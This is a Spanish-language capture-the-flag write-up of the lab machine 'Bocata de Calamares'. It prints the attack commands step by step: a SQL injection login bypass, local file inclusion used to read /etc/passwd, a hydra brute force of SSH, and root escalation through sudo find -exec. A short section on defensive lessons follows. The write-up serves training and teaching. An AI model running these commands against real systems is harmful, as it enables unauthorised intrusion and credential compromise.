TheHackerLabs Easy 🐧 Linux 192.168.72.131

Bocata de Calamares

SQL Injection en login para acceso a panel admin, LFI mediante endpoint base64, brute force SSH y escalada de privilegios con find SUID.

player@htb:~$ pwned 05 de junio de 2025

Índice

  1. Reconocimiento
  2. Enumeración web
  3. Explotación — SQL Injection
  4. LFI — Lectura de ficheros
  5. Foothold — SSH
  6. Escalada de privilegios — find SUID
  7. Flags

Reconocimiento

Escaneo de puertos y servicios:

sudo nmap -T4 -F -sC -sV -Pn -n -oA calamares_nmap 192.168.72.131

Resultado:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: AFN
MAC Address: 00:0C:29:EE:56:AF (VMware)

Solo dos puertos abiertos. El vector principal será el servidor web en el puerto 80.

Escaneo de vulnerabilidades

sudo nmap -T4 --script=vuln -p 22,80 192.168.72.131

Hallazgos relevantes:

| http-cookie-flags:
|   /admin.php:
|     PHPSESSID: httponly flag not set
|   /login.php:
|     PHPSESSID: httponly flag not set
| http-enum:
|   /admin.php: Possible admin folder
|_  /login.php: Possible admin folder

Las cookies de sesión no tienen la flag httponly. Además se identifican dos endpoints de administración: /admin.php y /login.php.


Enumeración web

Cargamos la web en el navegador y navegamos por las diferentes secciones. Encontramos la página sqli.php que nos habla de inyección SQL — una pista directa sobre el vector de ataque.

Accedemos a /login.php donde encontramos un formulario de login.


Explotación — SQL Injection

Probamos SQLi clásico en el campo de contraseña:

Usuario: admin
Password: ' OR '1'='1

El bypass funciona y obtenemos acceso al panel de administración /admin.php.


LFI — Lectura de ficheros

En el panel de administración hay un enlace a todo-list.php. Dentro de las tareas encontramos una entrada que menciona una página llamada lee_archivos codificada en base64:

echo "lee_archivos" | base64
# bGVlX2FyY2hpdm9zCg==

Accedemos a /bGVlX2FyY2hpdm9zCg==.php y encontramos un buscador de ficheros — LFI confirmado. Leemos /etc/passwd y filtramos usuarios con shell bash:

cat calamaresUser.txt | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
tyuiop:x:1000:1000:tyuiop:/home/tyuiop:/bin/bash
superadministrator:x:1001:1001:,,,:/home/superadministrator:/bin/bash

El fichero /etc/shadow no es accesible, pero tenemos los usuarios del sistema.


Foothold — SSH

Con los usuarios obtenidos lanzamos un ataque de fuerza bruta contra SSH:

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.72.131 -f -V -u -t 4

Resultado:

[22][ssh] host: 192.168.72.131   login: superadministrator   password: princesa

Accedemos al sistema:

ssh superadministrator@192.168.72.131
# Password: princesa

superadministrator@thehackerslabs-bocatacalamares:~$ ls
flag.txt  recordatorio.txt

🚩 Flag de usuario capturada.

El fichero recordatorio.txt menciona GTFOBins — una pista directa sobre el siguiente paso.


Escalada de privilegios — find SUID

sudo -l
User superadministrator may run the following commands on thehackerslabs-bocatacalamares:
    (ALL) NOPASSWD: /usr/bin/find

superadministrator puede ejecutar find como root sin contraseña. Según GTFOBins:

sudo find / -exec /bin/sh -p \; -quit

# whoami
root

🚩 Flag de root capturada.


Flags

FlagRuta
User~/flag.txt
Root/root/root.txt

Lecciones aprendidas

SQL Injection — bypass de login

El payload ' OR '1'='1 en el campo de contraseña es el SQLi más básico. Si el backend construye la query concatenando strings sin sanitizar, siempre funcionará. La solución es usar prepared statements.

LFI — endpoint ofuscado en base64

La aplicación usaba base64 para “ocultar” nombres de páginas en la URL. No es seguridad, es oscuridad. Con el nombre del fichero en la todo-list y un simple echo | base64 se obtiene la ruta directamente.

GTFOBins — find

find con permisos sudo permite ejecutar comandos arbitrarios mediante -exec. Siempre revisar sudo -l y consultar GTFOBins para cualquier binario con permisos elevados.